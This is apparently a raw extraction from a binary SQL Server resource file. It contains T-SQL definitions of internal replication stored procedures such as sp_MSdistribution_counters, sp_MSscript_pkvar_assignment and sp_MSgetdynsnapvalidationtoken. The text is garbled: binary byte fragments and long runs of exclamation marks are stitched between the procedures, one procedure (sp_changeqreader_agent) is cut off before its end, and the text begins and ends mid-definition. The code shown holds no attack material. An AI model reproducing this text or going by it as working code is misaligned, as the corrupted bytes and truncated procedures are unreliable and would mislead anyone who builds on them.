            SELECT @word = 1 + FLOOR((@coltotest -1)/16)

            SELECT @bit = (@coltotest -1) % 16

            SELECT @mval = POWER(2, @bit)
            SELECT @mask = convert( binary(2), unicode( substring( convert( nchar(2), convert( binary(4), @mval ) ), 2, 1 ) ) )
            
            SELECT @oldword = convert( binary(2), SUBSTRING( convert( nvarchar(64),@bm), @word, 1) )
            IF @oldword IS NULL return 0

            return  convert( smallint, @oldword ) & convert( smallint, @mask )
0y/ 8CREATE PROCEDURE sys.sp_MSdistribution_counters
(
    @publisher sysname      /* publication server name */
)
AS
begin
    set nocount on

    declare @publisher_id smallint
    declare @subscriber_id smallint
    declare @active_status tinyint
    declare @snapshot_bit int
    declare @undelivered_commands int
    declare @delivered_commands int
    declare @delivery_rate float
    declare @delivery_latency int
    declare @xact_seqno varbinary(16)
    declare @agent_id int
    
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    select @active_status = 2
    select @snapshot_bit = 0x80000000

    -- Make sure publisher is defined on distributor
    --
    select @publisher_id = srvid from master.dbo.sysservers where UPPER(srvname) = UPPER(@publisher)
    if @publisher_id is null
       return (1)

    create table #dist_trans (subscriber_id smallint NOT NULL, undelivered_commands int NOT NULL, 
        delivered_commands int NOT NULL, delivery_rate float NOT NULL, 
        delivery_latency int NOT NULL)

    declare hc CURSOR LOCAL FAST_FORWARD FOR select distinct agent_id
        from dbo.MSsubscriptions
        where
        publisher_id = @publisher_id and
        subscriber_id >= 0 and
        status = 2
        for read only

    open hc
    fetch hc into  @agent_id
    while (@@fetch_status <> -1)
    begin
        -- Get the lastest numbers from distribution_history
        select  @xact_seqno = NULL

        -- Get latest seqno, rate and latency
        select TOP(1) @xact_seqno = xact_seqno,
--              @delivered_commands = delivered_commands,
                @delivery_rate = current_delivery_rate,
                @delivery_latency = current_delivery_latency
            -- from MSdistribution_history with (READPAST)
            from MSdistribution_history 
            where
            agent_id = @agent_id and
            xact_seqno <> 0x0
            order by timestamp DESC


        if @xact_seqno IS NULL
            select  @xact_seqno = 0x00,
                    @delivery_rate = 0,
                    @delivery_latency = 0



        select TOP(1) @subscriber_id = subscriber_id FROM dbo.MSsubscriptions
            where agent_id = @agent_id
        
        -- Get the delivered trans number
        select @delivered_commands = 0
        select @delivered_commands = isnull(count(*), 0)
            from
            -- MSrepl_commands rc with (READPAST), dbo.MSsubscriptions s
            MSrepl_commands rc, dbo.MSsubscriptions s
            where
            /*
            ** Query from sp_MSget_repl_commands
            */
            s.agent_id = @agent_id and
            s.status = @active_status and
            rc.publisher_database_id = s.publisher_database_id and
--          rc.publisher_id = s.publisher_id and
--          rc.publisher_db = s.publisher_db and
            rc.xact_seqno <= @xact_seqno and
            rc.article_id = s.article_id and
            rc.partial_command = 0
            and
            ((rc.xact_seqno >= s.subscription_seqno and (rc.type & @snapshot_bit) <> @snapshot_bit) or
            rc.xact_seqno = s.subscription_seqno)

        -- Get the undelivered trans number
        select @undelivered_commands = 0
        select @undelivered_commands = isnull(count(*), 0)
            from
            -- MSrepl_commands rc with (READPAST), dbo.MSsubscriptions s
            MSrepl_commands rc , dbo.MSsubscriptions s
            where
            /*
            ** Query from sp_MSget_repl_commands
            */
            s.agent_id = @agent_id and
            s.status = @active_status and
            rc.publisher_database_id = s.publisher_database_id and
            rc.xact_seqno > @xact_seqno and
            rc.article_id = s.article_id and
            rc.partial_command = 0
            and
            ((rc.xact_seqno >= s.subscription_seqno and (rc.type & @snapshot_bit) <> @snapshot_bit) or
            rc.xact_seqno = s.subscription_seqno)

        insert into #dist_trans values (@subscriber_id, @undelivered_commands,
            @delivered_commands, @delivery_rate, @delivery_latency)
        
        fetch hc into  @agent_id
    end

    close hc
    deallocate hc

    select 'subscriber' = srvname, 
            'delivered commands' = sum(delivered_commands),
            'undelivered_commands' = sum(undelivered_commands),
            'delivery_rate' = sum(delivery_rate),
            'delivery_latency' = (select isnull(avg(delivery_latency), 0) from #dist_trans, master.dbo.sysservers where
                srvname = s1.srvname and delivery_latency > 0)
        from #dist_trans, master.dbo.sysservers s1
        where subscriber_id = srvid
        group by srvname

    drop table #dist_trans
end        
0B@ P8}h>\!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<		!<P60	~{ 8create procedure sys.sp_MSscript_pkvar_assignment
(
    @objid          int,
    @artid          int, 
    @indent       int = 0,
    @identity_col sysname = NULL, -- Not null value used by trigger scripting
    @ts_col       sysname = NULL,  -- Not null value used by trigger scripting
    @primary_key_bitmap varbinary(4000) = null, -- NULL when synctran processing
    @fisqueuedpub bit = 0  -- 1 = processing a queued publication on publisher
)
as
begin
-- This stored procedure will assign the '_old' var to new var
-- based on @bitmap. This is to avoid using case statement
-- in the where clause in the synctran pub proc, which
-- will cause a table scan.
    declare @cmd          nvarchar(4000)
        ,@spacer       nvarchar(20)
        ,@indkey       int
        ,@indid        int
        ,@this_col     int
        ,@col          sysname
        ,@qualname     nvarchar(517)
        ,@column          nvarchar(255)
        ,@key          sysname
        ,@src_cols      int
        ,@total_col        int
        ,@fcreatedcolmap    bit
        ,@art_col int -- relative position of column
        ,@thisspname sysname
    declare @colmap table (relativeorder int identity(1,1), colid int)

    select @spacer = N'select '
        ,@cmd = N''
        ,@thisspname = N'sp_MSscript_pkvar_assignment'
        ,@indkey = 1
        ,@indid = 0
        ,@fcreatedcolmap = 0
    exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT
    select @src_cols = max(column_id)
            ,@total_col = count(column_id)
        from sys.columns where object_id = @objid
    exec sys.sp_MSpad_command @cmd output, @indent
    exec sys.sp_MSflush_command @cmd output, 1, @indent

    if @primary_key_bitmap is null
    begin
        exec @indid = sys.sp_MStable_has_unique_index @objid
        if @indid is null
        begin
            raiserror(21750, 16, 2, @qualname)
            return (1)
        end
    end
    else 
    begin
        --
        -- PK bitmap is not null
        -- check if column Id match relative column order
        -- for trigger scripting
        --
        if ((@total_col < @src_cols) and (@artid is null))
        begin
            --
            -- this table may have altered columns, so when we need to 
            -- set a mapping for using the bitmaps properly as the bitmap
            -- always refers relative column order
            --
            insert into @colmap (colid)
                select column_id from sys.columns where object_id = @objid order by column_id
            if (@@error != 0)
            begin
                raiserror(21499, 16, 6, @thisspname, 'populate', '@colmap', @@error)
                return (1)
            end
            select @fcreatedcolmap = 1
        end
    end

    while (1=1)
    begin
        if @primary_key_bitmap is null 
        begin
            select @key = index_col(@qualname, @indid, @indkey)
            if @key is null
                break;
            exec sys.sp_MSget_col_position @objid, @artid, @key, @col output, NULL, 0, NULL, @this_col output
        end
        else
        begin
            exec sys.sp_MSget_map_position @primary_key_bitmap, @indkey, @col output, @this_col output
            if @this_col is null
                break;

                --
                -- set the actual column id for this relative order in the PK bitmap if necessary
                --
            if (@fcreatedcolmap = 1)
            begin
                select @art_col = @this_col
                select @this_col = colid
                    ,@col = 'c' + convert(sysname, colid) 
                from @colmap 
                where relativeorder = @art_col 
            end
            else
            begin
                select @art_col = NULL
            end

            -- Get column name
            exec sys.sp_MSget_colinfo @objid, @this_col, @artid, 0, @key output
        end

        select @indkey = @indkey + 1

        if @key in (@identity_col, @ts_col)
            continue
        --
        -- If we are scripting on publisher 
        --
        if (@primary_key_bitmap is null)
        begin
            declare @isset int
            --
            -- skip column if not replicated
            --
            exec @isset = sp_isarticlecolbitset @this_col, @artid
            if (@isset != 1)
                continue
            --
            -- skip timestamp processing for queued
            --
            if ((@fisqueuedpub = 1) and 
                exists (select name from sys.columns 
                    where object_id = @objid and column_id = @this_col and system_type_id = 189))
                continue
        end
        select @cmd = @spacer + N'@c' + convert(nvarchar(10), @this_col)

        -- Get the new values for the columns in primary key.
        exec sys.sp_MSget_synctran_column 
                @ts_col = null,
                @op_type = null , -- 'ins, 'upd', 'del'
                @is_new = null,
                @primary_key_bitmap = null,
                @colname = null,
                @this_col = @this_col,
                @column = @column output,
                @from_proc = 0,
                @coltype = null,
                @type = 'pk_var',    
                @art_col = @art_col
        select @cmd = @cmd + N' = ' + @column 
        select @spacer = ',
    '
        
        -- flush command if necessary
        exec sys.sp_MSflush_command @cmd output, 1, @indent
    end
end
0 D8h1:2!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`		<	!?(0Rφ 8CREATE PROCEDURE sys.sp_changeqreader_agent
(
	@job_login 		nvarchar(257) = NULL,
	@job_password 	sysname = NULL,
	@frompublisher 	bit = 0
)
AS
BEGIN
	SET NOCOUNT ON
	
	DECLARE @retcode			int,
			@qreader_exists 	bit

	IF @frompublisher = 0
	BEGIN
		-- Security Check: require sysadmin of dist 
		IF IS_SRVROLEMEMBER('sysadmin') != 1
		BEGIN
			RAISERROR(21089,16,-1) 
			RETURN 1
		END

		-- database must be distribution db
		IF sys.fn_MSrepl_isdistdb(DB_NAME()) <> 1
		BEGIN
			RAISERROR (21482, 16, -1, 'sp_changeqreader_agent', 'distribution')
			RETURN (1)
		END
	END
	ELSE
	BEGIN
		-- Security Check: require sysadmin of publisher 
		IF IS_SRVROLEMEMBER('sysadmin') != 1
		BEGIN
			RAISERROR(21089,16,-1) 
			RETURN 1
		END

		-- database must be publishing db
		IF sys.fn_MSrepl_istranpublished(DB_NAME(), 0) <> 1
		BEGIN
			RAISERROR (21482, 16, -1, 'sp_changeqreader_agent', 'publisher_db')
			RETURN (1)
		END
	END

	--
	-- if executed from publisher
	--
	IF @frompublisher = 1
	BEGIN
		DECLARE @loc_publisher sysname
				,@loc_distribdb sysname
				,@rpcsrvname sysname
				,@rpc nvarchar(1000)
		--
		-- get the distributor rpc info
		--
		SELECT @loc_publisher = CONVERT(sysname, SERVERPROPERTY('ServerName'))
		EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @publisher = @loc_publisher,
															@rpcsrvname = @rpcsrvname OUTPUT,
															@distribdb = @loc_distribdb OUTPUT

		IF @@error <> 0 OR @retcode <> 0 or (@rpcsrvname IS NULL) or (@loc_distribdb IS NULL)
		BEGIN
			RAISERROR (14080, 16, -1, @loc_publisher)
			RETURN (1)
		END
		--
		-- execute the RPC
		--
		select @rpc = quotename(@rpcsrvname) + N'.' + quotename(@loc_distribdb) + N'.dbo.sp_changeqreader_agent'
		exec @retcode = @rpc @job_login = @job_login,
								@job_password = @job_password,
								@frompublisher 	= 0
		IF @@error != 0
			select @retcode = 1

		RETURN @retcode
	END	

	-- if job login is specified
	IF @job_login IS NOT NULL
	BEGIN
		IF sys.fn_replisvalidwindowsloginformat(@job_login) != 1
		BEGIN
			-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_changeqreader_agent'.
			RAISERROR(21797, 16, -1, '@job_login', 'sp_changeqreader_agent')
			RETURN 1
		END
	END
	
	EXEC @retcode = sys.sp_MSreplagentjobexists @exists = @qreader_exists output,
												@type = 4
	IF @@ERROR <> 0 or @retcode <> 0
		RETURN 1

	IF @qreader_exists = 0
	BEGIN
		-- "The qreader agent for publisher (%s), database (N/A), publication (N/A) could not be found."
		RAISERROR(21799, 16, -1, 'qreader', @@servername, 'N/A', 'N/A')
		RETURN 1
	END
	
	EXECUTE @retcode = sys.sp_MSadd_qreader_agent @job_login = @job_login,
													@job_password = @job_password,
													@internal = N'YUKON'
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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`!<	Im0@ 8CREATE VIEW sys.dm_os_memory_cache_entries AS
	SELECT *
	FROM OpenRowset(TABLE SYSMEMORYCACHEENTRIES)
0+ ,8create procedure sys.sp_MSrestore_sub_tran 
(
    @subscriber_security_mode   int,                        
    @subscriber_login           sysname,
    @subscriber_password        nvarchar(524),
    @distributor_security_mode	int,
    @distributor_login sysname,
    @distributor_password sysname,
    @job_login nvarchar(257),
    @job_password sysname
)
AS
begin
    SET NOCOUNT ON
    -- Declarations.
    declare @push int
                ,@retcode int
                ,@publisher sysname          /* Expression used in the cursor */
                ,@publisher_db sysname     /* Expression used in the cursor */
                ,@publication sysname      /* Expression used in the cursor */

    -- Initialization
    select @push = 0
            ,@retcode = 0

    -- Reset agent_id and anonymous agent id and time
    update MSreplication_subscriptions set agent_id = NULL, subid = NULL,
        distribution_agent = NULL, time = getdate()
    if @@error <> 0
    begin
        select @retcode = 1
        goto Cleanup
    end

    -- Set attach_state value
    -- It is only used by pull subscription.
    -- The attach state is "attached but not processed".
    update MSsubscription_agents set attach_state = 1

	IF @job_login IS NOT NULL
		OR @job_password IS NOT NULL
		OR @subscriber_security_mode != 1
		OR @subscriber_login IS NOT NULL
		OR @subscriber_password IS NOT NULL		
		OR @distributor_security_mode != 1
		OR @distributor_login IS NOT NULL
		OR @distributor_password IS NOT NULL		
	BEGIN
			
	    -- Add the agents for pull or anonymous subscriptions. 
	    DECLARE #hCsubscription CURSOR LOCAL FAST_FORWARD FOR
	        SELECT publisher, publisher_db, publication    
	            FROM MSreplication_subscriptions where 
	                publication is not NULL and
	                publication <> N'' and
	                subscription_type <> @push

	    FOR READ ONLY
	    OPEN #hCsubscription

	    FETCH #hCsubscription INTO @publisher, @publisher_db, @publication
	    WHILE (@@fetch_status <> -1)
	    BEGIN
	        EXECUTE @retcode  = sys.sp_addpullsubscription_agent 
	            @publisher = @publisher, 
	            @publisher_db = @publisher_db, 
	            @publication = @publication,
	            @frequency_type  = 2 ,  /* 2== OnDemand */
	            @subscriber_security_mode = @subscriber_security_mode,
				@subscriber_login = @subscriber_login,
				@subscriber_password = @subscriber_password,
	            @distributor_security_mode = @distributor_security_mode,
	            @distributor_login = @distributor_login,
	            @distributor_password = @distributor_password,
	            @job_login = @job_login,
	            @job_password = @job_password

	        if @@error <> 0 or @retcode <> 0 
	        begin
	            select @retcode = 1
	            goto Cleanup
	        end
	        FETCH #hCsubscription INTO @publisher, @publisher_db, @publication
	    END
	END
	
Cleanup:
    -- Nothing to cleanup
    return    @retcode
end
0 I8
create procedure sys.sp_assemblies_rowset2
(
    @assembly_schema    sysname = null,
    @assembly_id        int = null
)
as
    select
        ASSEMBLY_CATALOG    = db_name(),
        ASSEMBLY_SCHEMA     = user_name(a.principal_id),
        ASSEMBLY_NAME       = a.name,
        ASSEMBLY_ID         = convert(int,a.assembly_id),
        PERMISSION_SET      = convert(NVARCHAR(30),
                                    case a.permission_set
                                    when 1 then 'SAFE'
                                    when 2 then 'EXTERNAL_ACCESS'
                                    when 3 then 'UNSAFE'
                                    end),
        ASSEMBLY_BINARY     = af.content
    from
        sys.assemblies a inner join
        sys.assembly_files af on
            (
                af.assembly_id = a.assembly_id
            )
    where
        (@assembly_schema is null or @assembly_schema = user_name(a.principal_id)) and
        (@assembly_id is null or @assembly_id = a.assembly_id)
    order by 1, 2, 3
0?Z D8nh|%0Xg D8oKhG!7!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!^
`<)	Y߭0#hn 8create procedure sys.sp_MSupdatepeerlsn
(
	@originator					sysname,
	@originator_db				sysname,
	@originator_publication_id		int,
	@originator_db_version		int,
	@originator_lsn				varbinary(10)					
)
as
begin
	declare @retcode 		bit,
			@error			int,
			@rows_affected	int
	
	-- security check for subscriber
	exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @@error <> 0 or  @retcode <> 0 
    begin
        return 1
    end

	begin transaction tran_sp_MSupdatepeerlsn
	save transaction tran_sp_MSupdatepeerlsn
	
	-- update the peer_lsn
	update MSpeer_lsns
		set last_updated 	= getdate(),
			originator_lsn 	= @originator_lsn
		from MSpeer_lsns with (index(uci_MSpeer_lsns))
		where originator					= UPPER(@originator)
			and originator_db 				= @originator_db
			and originator_publication_id	= @originator_publication_id 
			and originator_db_version		= @originator_db_version
			and originator_lsn				<= @originator_lsn

	-- cache the row count and error
	select @rows_affected 	= @@rowcount,
			@error			= @@error

	-- if we hit an error let the user know and exit
	if @error <> 0
	begin
		goto FAILURE
	end

	-- if row count is 0 then we know we are not a peer and the subcription is not found.
	if @rows_affected <> 1
	begin
		declare @pub_id varchar(10)

		select @pub_id = cast(@originator_publication_id as varchar)

		-- No peers were found for %s:%s:%s.
		raiserror(20807, 16, -1, @originator, @originator_db, @pub_id)
		goto FAILURE
	end

	commit transaction tran_sp_MSupdatepeerlsn
	
	return 0
FAILURE:
	rollback transaction tran_sp_MSupdatepeerlsn
	commit transaction tran_sp_MSupdatepeerlsn

	-- The procedure sys.sp_MSupdatepeerlsn failed to UPDATE the resource MSpeer_lsns. Server error =  0.
	raiserror (21499, 16, -1, 'sys.sp_MSupdatepeerlsn', 'UPDATE', 'MSpeer_lsns.', @error)

	
	return 1
end
0Gu F8--
-- Name: sp_MSgetdynsnapvalidationtoken
--
-- Description: This procedure is used by the snapshot agent to generate a
--              validation token that is specific to the partition of the
--              dynamic snapshot being generated. The validation token
--              consists of a header with the following format:
--
--              <regular snapshot timestamp directory>,<dynamic snapshot seqno>,
--
--              concatenated with a string component that is based on 
--              evaluating the validate_subscriber_info property
--              of the specified publication using the same algorithm that
--              dynamic snapshot uses for evaluating dynamic filters (i.e. 
--              simple replacement of suser_sname(), system_user with 
--              @dynamic_filter_login; hostname() evalutes to the 
--              -DynamicFilterHostname property of the snapshot agent if 
--              specified or the current COMPUTERNAME if not) If the 
--              validate_subscriber_info property of the specified publication
--              is null or it cannot be retrieved due to errors such as the
--              specified publication does not exists, database is not enabled
--              for merge replication etc., a validation token of
--              '<<Undefined dynamic snapshot validation token>>' is returned.
--              <dynamic snapshot seqno> is simply a randomly assigned guid
--              that uniquely identifies the dynamic snapshot.
--
--              The validation token is persisted with the generated dynamic 
--              snapshot and can be used by the merge agent to check whether
--              the correct dynamic snapshot is applied to the subscriber.
--
-- Parameters: @publication sysname (mandatory)
--             @dynamic_filter_login (mandatory) 
--
-- Result: 'dynsnapvalidationtoken' nvarchar(4000)
--
-- Security: sp_MSgetdynsnapvalidationtoken is marked as a public interface
--           object. PAL check is performed inside the procedure.
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSgetdynsnapvalidationtoken (
    @publication             sysname,
    @dynamic_filter_login    sysname
    )
as
begin
    set nocount on
    declare @validation_token nvarchar(4000)
    declare @string_literalized_dynamic_filter_login nvarchar(4000)
    declare @command nvarchar(4000)
    declare @pubid uniqueidentifier
    declare @tokenfilename sysname
    declare @tokenheader nvarchar(512)
    declare @retcode int
    
    exec @retcode=sys.sp_MSrepl_PAL_rolecheck @publication = @publication
    if @retcode<>0 or @@ERROR<>0 return (1)

    select @tokenfilename = N'dynsnapvalidation.tok'    

    if @dynamic_filter_login is null or @dynamic_filter_login = N''
    begin
        select @dynamic_filter_login = suser_sname()
    end
    if @@error<>0 return 1
    select @string_literalized_dynamic_filter_login =
        sys.fn_replmakestringliteral(@dynamic_filter_login)

    select @validation_token = null
    
    if object_id('dbo.sysmergepublications') is not null
    begin 
        select @validation_token = validate_subscriber_info,
               @pubid = pubid
          from dbo.sysmergepublications
         where lower(publisher) = lower(publishingservername())
           and publisher_db = db_name()
           and name = @publication
    end         
    if @@error <> 0 return 1

    select @tokenheader =
        isnull(reverse(substring(reverse(schematext),
                                 len(@tokenfilename) + 2, 
                                 charindex(N'\', 
                                           reverse(schematext), 
                                           len(@tokenfilename) + 2) 
                                 - len(@tokenfilename) - 2)), '') + ',' +
            convert(nvarchar(36), newid()) + N','            
          from dbo.sysmergeschemachange
        where pubid = @pubid
          and schematype = 71

    -- Replaces all instances of suser_sname() with @string_literalized_dynamic_filter_login  
    -- (case-insensitive)
    select @validation_token = 
        replace(@validation_token collate SQL_Latin1_General_CP1_CI_AS,
                N'suser_sname()' collate SQL_Latin1_General_CP1_CI_AS,
                @string_literalized_dynamic_filter_login collate SQL_Latin1_General_CP1_CI_AS)
    if @@error <> 0 return 1
    
    -- Replaces all instances of system_user with @string_literalized_dynamic_filter_login
    -- (case-insensitive)
    select @validation_token =
        replace(@validation_token collate SQL_Latin1_General_CP1_CI_AS,  
                N'system_user' collate SQL_Latin1_General_CP1_CI_AS,
                @string_literalized_dynamic_filter_login collate SQL_Latin1_General_CP1_CI_AS)
    if @@error <> 0 return 1
        
    select @validation_token = rtrim(ltrim(@validation_token))
    if @validation_token = N'' select @validation_token = null        
    select @command = N'select ''dynsnapvalidationtoken'' = ' +
                sys.fn_replmakestringliteral(@tokenheader) collate database_default + 
                ' + convert(nvarchar(4000), case when rtrim(ltrim(' + isnull(@validation_token, 'N''<<Undefined dynamic snapshot validation token>>''') + ')) = N'''' then N''<<Undefined dynamic snapshot validation token>>'' else ' + isnull(@validation_token, 'N''<<Undefined dynamic snapshot validation token>>''') + ' end)' 
    if @@error <> 0 return 1
    exec (@command)
    if @@error <> 0 return 1

    return 0

end     
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
#`<%	Y$ &0fv n
8CREATE PROCEDURE sys.sp_MSadd_mergesubentry_indistdb
(
	@publisher_id smallint,
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @subscriber sysname,       
    @subscriber_db sysname,
    @subscription_type tinyint = 0,     -- 0 = push, 1 = pull, 2=anonymous
    @sync_type tinyint = 1,             -- 0 = none  1 = automatic snaphot  2 = no intial snapshot
    @status tinyint = 1,                -- 0 = inactive, 1 = subscribed, 2 = active 
    @description	nvarchar(255) = NULL,
   	@subid uniqueidentifier = NULL,
	@subscriber_version	 int=90
)
as
begin
    set nocount on

    declare @publication_id int
    declare @retcode int
    declare @cur_version int, @rowcount int

    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSadd_anonsubentry_indistdb', 'distribution')
        return (1)
    end
    
    select @publication_id = publication_id
        from dbo.MSpublications where 
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication = @publication
    if @publication_id is NULL
    begin
        raiserror (20026, 11, -1, @publication)
        return (1)
    end
    
    exec @retcode = sys.sp_MScheck_pull_access
        @agent_type = 1, -- merge agent
        @publication_id = @publication_id
    if @@error <> 0 or @retcode <> 0
	begin    
		RAISERROR (15247, 11, -1)
		return (1)
	end
   
	select top 1 @cur_version = subscriber_version 
	from dbo.MSmerge_subscriptions where subid = @subid
	select @rowcount = @@rowcount
		
	if @rowcount = 0
	begin
		-- if another entry exists but with an incorrect subid, just update the subid.
		if exists (select * from dbo.MSmerge_subscriptions 
					where upper(publisher) = upper(@publisher)
					and publisher_db = @publisher_db
					and publication_id = @publication_id
					and upper(subscriber) = upper(@subscriber)
					and subscriber_db = @subscriber_db)
		begin
			update dbo.MSmerge_subscriptions
			set status = @status,
				subscription_type = @subscription_type,
				subscription_time = getdate(), 
				description = @description, 
				subid = @subid,
				subscriber_version = case when subscriber_version is null then @subscriber_version else subscriber_version end
			where upper(publisher) = upper(@publisher)
					and publisher_db = @publisher_db
					and publication_id = @publication_id
					and upper(subscriber) = upper(@subscriber)
					and subscriber_db = @subscriber_db
					and subscription_type = @subscription_type
			
			if @@error <> 0
				return 1
		end
		else
		begin
		
			insert into dbo.MSmerge_subscriptions (publisher_id, publisher_db, publication_id,
					subscriber_id, subscriber_db, subscription_type, sync_type, status, 
					subscription_time, description, publisher, subscriber, subid, subscriber_version)
    			values (@publisher_id, @publisher_db, @publication_id, NULL, @subscriber_db, 
    					@subscription_type, @sync_type, @status, getdate(), @description,
						@publisher,	@subscriber, @subid, @subscriber_version)
			
			if @@error <> 0
				return 1
		end
	end
	else if @cur_version is null and @subscriber_version is not null
	begin
		update dbo.MSmerge_subscriptions
		set subscriber_version = @subscriber_version
		where subid = @subid
	end
    
	return 0
end
0z@ W8--
-- Name: sp_hadr_validate_replica_hosts_as_publishers
--
-- Descriptions: Verify that the availability group replicas associated 
